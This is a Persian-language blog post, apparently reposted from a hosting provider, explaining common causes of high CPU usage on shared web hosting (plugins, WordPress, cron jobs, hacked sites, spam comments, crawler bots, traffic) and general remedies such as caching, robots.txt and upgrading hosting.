واحد پردازش مرکزی یا CPU تمام وظایفی که از سمت سرور ارسال می شود را انجام میدهد. CPU معمولا درخواست های مربوط به اجرای اسکریپت های PHP را پردازش می کند، کوئری های MySQL را اجرا می کند، ایمیل ارسال می کند و غیره… منابعی که روی یک سرور وجود دارند محدود هستند، بنابراین همواره روی مصرف CPU و دیسک در سطوح مشکل ساز نظارت وجود دارد. در حالی که مصرف بالای کوتاه مدت از CPU طبیعی است،اما استفاده زیاد به طور مداوم از CPU ممکن است نشان دهنده وجود یک مشکل باشد. میزان استفاده از منابع سرور با توجه به نوع هاستی که دارید، از نظر میزانی که به اشتراک گذاشته شده باشد، سرور مجازی یا سرور اختصاصی باشد، کاملا متفاوت است.




مصرف بالای منابع چیست؟


در مقایسه با فعالیت های CPU دسکتاپ، سطح پردازش CPU برای وب سایت باید حداقل باشد و وب سایت باید در کسری از ثانیه از زمان پردازنده اجرا شود. یک CPU به اشتراک گذاشته شده در سرور، حتی در زمانی که تعداد کمی از وب سایت های روی سرور شروع به اجرای فعالیت های پرمصرف (از لحاظ پردازنده) بکنند ، با مشکل مواجه خواهد شد. این فعالیت های زیاد نیاز به قدرت پردازش بیشتر دارند، و منجر به افزایش زمان آماده شدن و صف بندی فرآیند ها برای پردازنده بر روی هاست می شوند. هر سرور دارای تعداد ثابتی هسته CPU است. بنابراین، زمانی که شما از فضای هاست اشتراکی استفاده می کنید، زمان پردازشی که هر کاربر می تواند از CPU درخواست کند، محدود می شود. در محیط یک هاست اشتراکی، هنگامی که یک کاربر مقدار بیش از حد CPU را نیاز دارد، می تواند باعث تاخیر در رسیدگی به درخواست های وب سایت های دیگر کاربران شود. آگاهی نسبت به تأثیر وب سایت شما در CPU سرور می تواند به جلوگیری از هر گونه تعلیق احتمالی وب سایت ها به علت استفاده بیش از حد مجاز از منابع کمک کند.

چه مواردی ممکن است منجر به مصرف بالای CPU شود؟

اگر سایت شما ترافیک زیادی داشته باشد ممکن است منجر به استفاده بیش از حد از پردازنده شود، اما در اکثر موارد عوامل دیگری برای آن وجود دارد. لیست زیر برخی از مسائل مربوط به نرم افزارهای رایج، که می تواند باعث افزایش مصرف CPU شود، را شرح می دهد:


اسکریپت های ناکارآمد و افزودن بیش از حد افزونه / ماژول / پلاگینچندین وب سایت وردپرس روی یک هاستcronjob ها یا وظایف برنامه ریزی شده متناوبوب سایت هک شدهمطالب اسپم در بخش نظرات سایتردیابی های کنترل نشده موتور جستجو و فعالیت های ربات های خودکارحجم زیاد ترافیک وب
– اسکریپت های ناکارآمد و افزودن بیش از حد افزونه / ماژول / پلاگین

کد کامپیوتر یک مجموعه از دستورالعمل های ماشین است که به ترتیب به منظور دریافت نتایج یکسان مورد انتظار دوباره و دوباره اجرا می شود. به طور کلی برای میزبانی وب، مجموعه ای از دستورالعمل ها در یک زبان برنامه نویسی مانند PHP وجود دارد. اگر اسکریپت ها در وب سایت شما به طور موثر و سفارشی کد گذاری شده باشند، معمولا باید زمان اجرای زیر یک ثانیه داشته باشند. رفتار همه ی وب سایت ها ، از لحاظ استفاده از حافظه یکسان نیست، همانند بعضی از اسکریپت ها که دارای بهینه سازی ها و افزونه هایی در داخل خود هستند مثل امکان کش کردن در جوملا. بسته به سطح ترافیکی که سایت شما دریافت می کند، حتی یک افزونه یا اسکریپت فعال که استفاده شدیدی از منابع دارد یا از لحاظ کد نویسی ضعیف است، نیز می توان فشار زیادی را به منابع سرور وارد کند. بنابراین بهتر است تعداد ماژول ها ، افزونه ها و پلاگین هایی که استفاده می کنید را محدود کنید و آنهایی که دیگر فعال نیستند را حذف کنید. یک اسکریپت / پلاگین / ماژول قدیمی و به روز نشده اغلب به مشکل سوء استفاده از منابع دامن می زند، بنابراین تمام اسکریپت های نصب شده از جمله هر گونه افزودنی های شخص ثالث باید به روز شود. توسعه دهندگان نیز باید به طور مداوم اسکریپت های خود را بهبود بخشیده و حفره های امنیتی آن را به منظور افزایش کارایی پاکسازی کنند.
با وجود این اقدامات، اگر مشکلات مربوط به استفاده از منابع همچنان ادامه یابد، اسکریپت مشکوک باید جدا شود و با روش های تنظیم مجدد، غیرفعال کردن یا جایگزینی آن با یک اسکریپت کارا، مشکل برطرف گردد. پیاده سازی کل صفحات PHP در محیط های XAMPP، WAMP و EasyPHP می تواند اسکریپت های خاص و یا توابع جداگانه ای که عمده زمان مصرف را به خود اختصاص می دهند، نمایش می دهد. ممکن است با استفاده از پلاگین P3 Profiler، افزونه ی مشکل زا را شناسایی کرده و با جایگزینی بهتر، مسئله حل شود.
– وجود چندین وب سایت ورد پرس بر روی یک هاست

اکثر سیستم های مدیریت محتوای پویا، مانند وردپرس، از یک پایگاه داده یا دیتابیس برای ذخیره اطلاعات استفاده می کنند، به طوری که هر بار که یک بازدید کننده به سایت می آید، اسکریپت های PHP با پایگاه داده تعامل برقرار می کنند تا این اطلاعات را برای ارسال به مرورگر فراخوانی کنند . در فضای هاست اشتراکی، اگر سایت شما ترافیک مناسبی را به دست آورد، استفاده از سیستم پیش فرض کنونی وردپرس جهت بازسازی یک صفحه HTML یکسان به ازای هر درخواست بازدید کننده بسیار ناکارآمد خواهد بود.
اگر کاربران وب سایت ورد پرس شما در سطح پیشرفته هستند ، توصیه می شود از پلاگین ذخیره سازی، مانند W3 Total Cache استفاده کنید. و برای کاربران مبتدی وردپرس، پلاگین WP Super Cache را در نظر بگیرید و با این کار، بار روی منابع سرور را تا ۹۰٪ کاهش دهید. اگر چندین وب سایت وردپرس در یک سرور اشتراکی دارید، جهت اجرای کارآمد وب سایت تحت یک اکانت میزبانی اشتراکی، نیاز به RAM و CPU بیشتری خواهید داشت. بنابراین به فکر تهیه فضای هاست اضافه برای برخی از بلاگ های خود باشید.
– cron job ها یا وظایف برنامه ریزی شده متناوب

یک cron job به شما اجازه می دهد یک کار برنامه ریزی شده برای وب سایت خود را بدون نیاز به حضور در زمان شروع آن تنظیم کنید. اجرای cron job ها بسیار کارآمد و پرکاربرد به طور متناوب می تواند برای عملکرد سرور شما مشکل ساز باشد.
بهتر است از cron job ها فقط در مواردی که لازم است استفاده کنید. اگر وب سایت شما روی یک سرور اشتراکی میزبانی می شود ، کوتاه ترین فاصله برای اجرای cron job ها حداقل باید ۱۵ دقیقه باشد.
اگرهر پشتیبان گیری پایگاه داده یا راه اندازی سایر کارهای تعمیر و نگهداری موجب افزایش مصرف CPU شود، می توانید آن ها را موقتا غیر فعال کنید. همچنین می توانید فعالیت ها را در قالب cron job به صورت خودکار و برنامه ریزی شده انجام داد تا میزان مصرف کاهش یابد. برای مثال، وردپرس اسکریپت برنامه ریزی خاص خود را دارد و بنابراین غیرفعال کردن wp-cron.php به کاهش استفاده کلی از منابع کمک می کند.
– وب سایت هک شده

یک وب سایت هک شده، به علت فعالیت های چندگانه ی خودکار و اضافه ای که عموما در هر بار تلاش برای بارگذاری صفحه مجبور است انجام دهد، اغلب به استفاده غیر معمول از منابع در اکانت شما و اعمال بار اضافه بر روی CPU منجر می شود. هدف اغلب کاربران خرابکاری که سعی در هک کردن وب سایت شما دارند این است که کاربران را به یک سایت خطرناک هدایت کنند یا از وب سایت شما برای ارسال هرزنامه استفاده کنند.
علاوه بر استفاده از رمز عبور ایمن و بروز نگه داشتن تمام نرم افزارها، شما باید یک پلاگین، مانند Sucuri، برای اسکن سایت خود و هشدار احتمال هک شدن، نصب کنید.کار منطقی و عاقلانه این است که یک نسخه پشتیبان کامل از اکانت خود مربوط به ۳۰ روز گذشته، برای محافظت از سایت خود ذخیره داشته باشید، تا در صورت بروز مشکل به راحتی بتوانید با استفاده از آن وب سایت خود را به نسخه قبل از هک شدن برگردانید. اگر وبسایت شما هک شده باشد، باید توسط یک متخصص، به صورت دستی بررسی شود، ممکن است آن فرد مجبور به پاکسازی کد htaccess یا حمله تزریق کد شود تا هکرها را از منحرف کردن ترافیک وب سایت شما به سمت وب سایت دیگر متوقف کند.
– مطالب اسپم در بخش نظرات سایت

وبسایت شما برای کل جامعه دیجیتال باز است و معمولا بخشی برای بازدیدکنندگان وجود دارد که نظر خود را در وب سایت شما قرار دهند. متاسفانه بخش نظرات وب سایت ها و همچنین انجمن ها به مهاجمین این اجازه را می دهد که صفحات سایت را با نظرات هرز و جعلی و مخرب پر کنند و تلاش کنند تا مردم را به وب سایت خودشان منتقل کنند. نظرات اسپم در انجمن یا وبلاگ وردپرس شما می تواند در میزان استفاده از CPU تاثیر بگذارد چون اندازه پایگاه داده یا دیتابیس شما را افزایش می دهد، سرعت بارگیری را کاهش می دهد، و حتی اگر این نظرات را حذف نکنید می تواند به طور بالقوه بر رتبه سایت شما در موتورهای جستجو تاثیر گذار باشد.
اکانت خود را برای نصب های قدیمی که می توانید آنها را حذف کنید، یا برای نظرات خودکار و ارسال هرزنامه بررسی کنید. شما می توانید بخش نظرات سایت را غیر فعال کنید اما این راه حل ایده آل نیست. به جای اینکه کلا بخش نظرات سایت را غیر فعال کنید بهتر است سیستم پیش فرض نظردهی وردپرس را غیرفعال کرده و به جای آن از سیستم نظردهی دیگری مثل Disqus استفاده کنید. بهترین راه برای از بین بردن نظرات اسپم استفاده از CAPTCHA برای وب سایت است تا ایجاد اکانت های جعلی برای ربات های خودکار بسیار سخت و غیر ممکن شود.
ردیابی های کنترل نشده موتور جستجو و فعالیت های ربات های خودکار

ربات های خودکار موتورهای جستجو گوناگون مانند Google و Bing در اینترنت بررسی می کنند تا برای انتشار سریعتر اطلاعات، محتوای جدید را پیدا و شاخص گذاری کنند. حتی یک ربات خودکار بازدید کننده وب سایت شما می تواند به اندازه صدها نفر بازدیدکننده واقعی منابع سرور را مصرف کند. ربات های خودکار بازدید کننده، از صفحه اول وب سایت نفوذ می کنند و کم کم به تک تک لینکهای سایت شما جهت قرار دادن محتوا روی سایت دست می یابند. این مساله به میزان قابل توجهی به مصرف منابع سرور منجر می شود که باعث می شود اکانت شما به حالت تعلیق درآید.
شما می توانید ربات های قانون شکن را با پیاده سازی یک فایل قوانین استاندارد شده به نام robots.txt ، با تنظیم تاخیر ردیابی ۳۰ ثانیه ای یا بیشتر ، کنترل کنید. اما خبر بد این است که همه رباتهای خودکار با قوانین robots.txt شما منطبق نیستند. بنابراین، شما باید دسترسی این ربات های نا خواسته را به وب سایت خود با استفاده ازفایل htaccess مسدود کنید، و جلو استفاده آنها را از منابع اکانت خود بگیرید.
– حجم زیاد ترافیک وب

ترافیک به هر یک از دلایل زیر می تواند رخ دهد:

هنگامی که ربات های خودکار سایت شما را ردیابی می کنند.هنگامی که وب سایت شما در بخش نظرات، اسپم داشته باشد .هنگامی که فعالیت های مخرب دیگری در حال انجام باشد.هنگامی که در مدت کوتاهی کل ترافیک اختصاص داده شده به وبسایت استفاده شود.
اگر وبسایت شما محبوب باشد، ممکن است مرتبا با مصرف CPU بالا مواجه شوید و احتمالا باید به ارتقاء دادن اکانت یکی از مشتری ها از یک هاست اشتراکی به یک سرور اختصاصی اقدام کنید. اگر تنها یک بار یک افزایش بار غیر منتظره ترافیک در سایت شما رخ دهد، سرور میزبان شما نیاز به منابع سیستمی بیشتری برای رسیدگی به چنین حجم زیادی از ترافیک را دارد. یک وب سایت کاملا ایستا با تنها فایلهای HTML و تصاویر در استفاده از منابع مشترک سرور بسیار سبکتر از وب سایت های پویای مبتنی بر جوملا، دروپال و یا وردپرس است.
هنگامی که ترافیک وب شما افزایش می یابد، درخواست های وب سایت جدید نیاز به منابع سرور را افزایش می دهند. در این گونه مواقع شما این حق انتخاب را دارید که اکانت خود را به(VPS سرور شخصی مجازی) یا سرور اختصاصی ارتقا دهید، تا بتوانید به منابع بیشتری دسترسی پیدا کنید. رایج ترین روش ها برای بهینه سازی وب سایت شما هنگام داشتن حجم بیشتری از ترافیک، استفاده از حافظه پنهان ( کش صفحه و کش مرورگر) برای کاهش اتصالات پایگاه داده تکراری و محدود کردن محتوای پویا مانند پلاگین ها و ماژول ها است.
آیا میزبان وب شما مقصر است؟

ممکن است استفاده زیاد از CPU اشتباه شما نباشد و در واقع شرکت ارائه دهنده ی هاست شما مقصر است که منابع لازم را برای تامین وب سایت هایی که میزبانی کرده است فراهم نمی کند. به خصوص این مشکل ممکن است برای سرور های هاست اشتراکی که وب سایت های زیادی را میزبانی می کنند و درصد کمی از زمان CPU را روی هاست خود با مبلغ پایین به مشتری ارائه می دهند برای حل هر گونه مسئله ازین دست حتما مواردی از قبیل محدودیت مصرف CPU و تنظیمات سخت افزاری مشترک سرور را با میزبان سایت خود چک کنید.
اکنون که شما نسبت به بعضی از مسائل مهم در استفاده از منابع سیستم آگاهی پیدا کردید، به راحتی می توانید آنها را برطرف کنید. اما اگر همچنان مشکلی در زمینه استفاده از منابع موجود در فضای میزبانی فعلی شما وجود داشته باشد، می توانید هاست خود را ارتقا دهید تا در اکانتتان محدودیت کمتری در استفاده از منابع سرور داشته باشد یا اینکه ارائه دهنده هاست خود را تغییر دهید.




منبع :

ایران سرور
زینب بازدید : 9 سه شنبه 08 بهمن 1398 زمان : ۰۰:۳۵ نظرات (0)

تعداد صفحات : 3

موضوعات
لینک دوستان
پیوندهی روزانه
  • آرشیو لینک ها
  • صفحات جداگانه
    آمار سیت
  • کل مطالب : 2,674
  • کل نظرات : 0
  • افراد آنلین : 23
  • تعداد اعضا : 0
  • بازدید امروز : 5,974
  • باردید دیروز : 6,150
  • بازدید هفته : 34,991
  • بازدید ماه : 131,391
  • بازدید سال : 724,233
  • بازدید کلی : 2,109,456